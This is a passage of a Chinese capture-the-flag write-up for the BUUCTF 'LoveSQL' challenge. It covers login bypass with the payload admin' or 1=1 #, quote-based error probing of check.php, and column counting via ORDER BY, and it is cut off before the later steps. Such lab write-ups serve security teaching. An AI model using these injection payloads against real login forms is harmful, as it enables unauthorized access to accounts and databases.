【BUUCTF】[极客大挑战 2019]LoveSQL
一.SQL注入考点

基础知识点
union 联合查询
information表
group_concat()
注入流程
1.万能密码登陆
2.登陆后,使用联合查询注入
3.爆字段
4.看回显
5.爆数据库
6.爆数据库的表
7.爆出表的列
8.爆出flag
二. 解题过程
0.存在SQL注入
加单引号报错
/check.php?username=1'&password=2
/check.php?username=1&password=2'
/check.php?username=1'&password=2'

1.万能密码 admin’ or 1=1
或者
1’ or 1=1 #
账号
admin' or 1=1 #
密码
1

admin
47cb230740bc6725fd194aec8e479fc4
Tips:输入框的#,直接使用hackbar地址栏,需将#进行URL编码,即替换为%23
2.爆字段
check.php?username=admin ' order by 1 %23&password=1
check.php?username=admin ' order by 2 %23&password=1
check.php?username=admin ' order by 3 %23&password=1

check.php?username=admin ' order by 4 %23&password=1
改为4,报错,有3个字段

本文详细讲解了SQL注入的攻击流程,从发现注入点到利用万能密码登录,再到爆破数据库结构,最终获取flag。涵盖了SQL注入的基础知识、常用技巧及实战案例。

1515

被折叠的 条评论
为什么被折叠?



